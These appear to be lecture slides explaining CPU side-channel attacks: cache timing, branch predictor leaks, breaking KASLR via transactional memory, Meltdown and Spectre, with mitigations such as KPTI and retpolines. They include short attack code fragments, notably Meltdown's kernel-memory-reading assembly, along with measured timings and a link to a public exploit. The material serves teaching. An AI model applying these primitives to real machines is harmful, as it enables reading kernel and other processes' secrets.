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Myself

http://www-verimag.imag.fr/~monniaux/

VERIMAG http://www-verimag.imag.fr/
Co-head of PACSS (Proofs and Code analysis for Safety and Security)

Does mostly program analysis (abstract interpretation…) and algorithmics
of verification (satisfiability modulo theory, convex polyhedra…)

Not a security expert
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Cache attacks

Caches

Main memory is slow compared to the CPU
Solution: cache memories
Cache memory stores “recently accessed” code and data

e.g. on my laptop 50 reads on non-consecutive addresses
▶ cost 32 cycles if in cache (note: superscalar execution)
▶ cost 270 cycles if not

Multiple levels of caches with non-trivial replacement policies
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Cache attacks

6-core AMD Opteron
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Cache attacks

Simple cache timing attack

#define OFFSET0 2000
#define OFFSET1 4000

timestamp t0e, t0s, t1e, t1s;
volatile char buf[6502];
clflush(buf + OFFSET0); clflush(buf + OFFSET1); rdtsc();

volatile _Bool secret = 1;
buf[secret ? OFFSET1 : OFFSET0];

t0s = rdtsc(); buf[OFFSET0]; t0e = rdtsc();
t1s = rdtsc(); buf[OFFSET1]; t1e = rdtsc();

$ ./demo_cache_timing_attack
t0: 198
t1: 31
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Cache attacks

Cache timing attack on other programs

Different memory blocks compete for the same location in cache

Possible to know whether another program reads/writes one of its variable
because it evicts one of our variables

e.g. crypto program

stuff = table[f(secret_key, i)];

Intruder:

1. measure time → which of his own variables was evicted by the access
to table

2. know f(secret_key, i)
3. gain information on secret_key
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Cache attacks

Branch target predictor

void process(action* f) {
timestamp start = rdtsc();
f(10);
timestamp end = rdtsc();
printf(”%” PRIu64 ”\n”, end-start);

}

Contains an indirect call to the address pointed by register rsi:

call *%rsi

For efficiency the CPU caches the target address and speculatively
executes at the target address.
If incorrect speculation, actions are retracted.
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Cache attacks

Timing attack
process(f0); 758
process(f1); 1077
process(f0); 742
process(f1); 476
process(f0); 444
process(f0); 298
process(f0); 335
process(f0); 391
process(f0); 359
process(f1); 484
process(f1); 303
process(f1); 359
process(f1); 327
process(f1); 327
process(f0); 497
process(f0); 303
process(f0); 346
process(f0); 335
process(f0); 351
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Cache attacks

Branch predictor timing attack

A cache memorizes which way (taken / not taken) branches go

void __attribute__ ((noinline)) process(_Bool flag) {
timestamp start = rdtsc();
if (flag) f0(10); else f1(10);
timestamp end = rdtsc();
printf(”%” PRIu64 ”\n”, end-start);

}
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Cache attacks

Branch predictor timing attack
process(0); 67
process(1); 67
process(0); 36
process(1); 54
process(0); 36
process(0); 38
process(0); 36
process(0); 38
process(0); 37
process(1); 57
process(1); 52
process(1); 51
process(1); 49
process(1); 46
process(0); 69
process(0); 71
process(0); 44
process(0); 46
process(0); 46
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Cache attacks

Branch predictors reach across boundaries

It seems the CPU stores a single cached value (or a small history) at cache
index F(a) where a is the branch address.

F is a simple function

One can learn about a branch a in a privileged context by testing on b inside
the intruder F(a) = F(b).
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KASLR

Virtual memory

Under Linux (similar for MacOS X, Windows a bit more complicated):

“Logical address” a
↓
▶ Physically mapped memory ϕ(a)
▶ Physically mapped privileged memory ϕ(a) (SIGSEGV)
▶ Nothing (SIGSEGV)
▶ Virtual memory to be fetched from disk
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KASLR

KASLR

To make various attacks more complicated:

Privileged kernel memory is at partially randomized addresses (Kernel
Address Space Layout Randomization).

Unless system parameter kernel.kptr_restrict=0, the kernel hides its
inside addresses:

$ cat /proc/kallsyms
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
0000000000000000 A cpu_debug_store
0000000000000000 A gdt_page
0000000000000000 A exception_stacks
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KASLR

Transactions

Recent Intel CPUs:

All instructions between xbegin and end act as an atomic transaction.
Nice for implementing concurrent programs.
▶ x86-specific intrinsics _xbegin(), _xend(), _xabort()
▶ gcc specials __transaction_atomic ...

Instead of a SIGSEGV, an access to privileged memory aborts the
transaction.
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KASLR

Breaking KASLR

Timings for attempting to read from possible kernel addresses inside a
transaction:
ffffffff80000000 210
ffffffff81000000 210
ffffffff82000000 215
ffffffff83000000 211
ffffffff84000000 214
ffffffff85000000 215
ffffffff86000000 187
ffffffff87000000 214
ffffffff88000000 215
ffffffff89000000 214
ffffffff8a000000 215
ffffffff8b000000 214
ffffffff8c000000 215

Examination of /proc/kallsyms under kernel.kptr_restrict=0
shows that ffffffff86000000 indeed found the kernel.
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Meltdown

Speculative execution

Speculative execution proceeds quickly.

If incorrect, architectural effects (e.g. values stored) are retracted.

Microarchitectural effects including timing and caches are typically not
retracted.
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Meltdown

Meltdown

xbegin .ABORT
.RETRY:

mov (%r15), %al # Read a byte of KERNEL MEMORY
shl $12, %rax
and $4096, %eax # extract bit number 12-12=0
mov (%r11, %rax, 1), %rbx # read from buffer at offset 4096*bit
xend

.ABORT:

This code attempts reading secret data x then accesses an array at offset
4096× x.
The array access loads a cache block at an address depending on x.
Then the permissions are checked and the transaction is cancelled.
The cache block stays loaded and may be observed.
Meltdown.
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Meltdown

Working implementations

My own implementation works on my laptop (Intel Core i7-6600U) but not
on my work desktop machine.

I have another working implementation without transactions, by recovering
from SIGSEGV.

https://github.com/paboldin/meltdown-exploit.git works on
both, and recovers one byte, not one bit, per attack.

Both implementations need to force the kernel to load the secret data into
the L1 processor cache before the attack.
Need for L1 cache also reflected by Google and Intel’s documents.

Rumors on Twitter state that it is possible to exploit race conditions to load
other data.
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Meltdown

Mitigation: KPTI

a.k.a KAISER patch, originally meant to prevent the timing attacks on
KASLR

Remove almost all kernel pages from process virtual memory.

Each system call then induces a full context switch (for virtual memory).

System calls cost more, on some workloads -30% speed?
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Spectre

Breaking out of a “safe language”

/* Privileged code */
if (index < 0 || index >= array.size) {
raise_array_out_of_bounds();

} else {
y = array.data[index];

}
/* Untrusted code */
buffer[y*4096] = 1;

1. Train the predictor into thinking the “else” branch is more likely.

2. Flush all buffer[y*4096] out of the cache.

3. Execute with out-of-bound access.

4. Recover from the exception.

5. Test which buffer[y*4096] was accessed, by timing attack.
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Spectre

Main ideas in Spectre

1. Information may leak by the data cache (or other side channel) not
only from legal, but also from speculative and aborted executions.

2. It is possible to voluntarily induce speculative executions

3. …including in privileged code (kernel code, or Web browser wrt
Javascript code)
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Spectre

More fun ideas

Poison branch target predictors (and observe the kernel)
Use branch predictors as side channel
Use branch target predictors as side channel

(As far as I know) predictors and L2/L3 caches are shared across all code,
many possibilities!
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Spectre

Spectre mitigation

Break the power of branch prediction and branch target prediction

e.g. avoid using branch instructions suitable for branch target prediction
use “return trampolines” (-mretpoline in some patches on LLVM)

Again, break optimization mechanisms, trade off speed for security.

Longer term: allow applications and OS to flush more microarchitectural
state?
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Conclusion

Things are too complicated

2017: bug in Skylake processor microcode when hyperthreading

Breaks OCaml garbage collector if compiled with gcc -O2

Sometimes parallel runs of OCaml code (e.g. Coq compilation) crashes

Fixed in microcode
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Conclusion

Executive summary

Not new
Cache observation attacks are not new

Branch predictor observation attacks are not new

New
Attacks on side channels during speculative execution are new

Inducing specific speculative executions to observe them is new

Unknown
Is it possible to use Meltdown on data not in L1 cache, due to subtle race
conditions?

Is it possible to force loads into cache?

Are there race conditions allowing out-of-cache loads?

Is there something we don’t know that justifies the quick patching against
Meltdown?
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Conclusion

Questions?
(Contact me for internships, PhD theses etc.
In program analysis, verification, and security.)

http://www-verimag.imag.fr/~monniaux
David.Monniaux@univ-grenoble-alpes.fr
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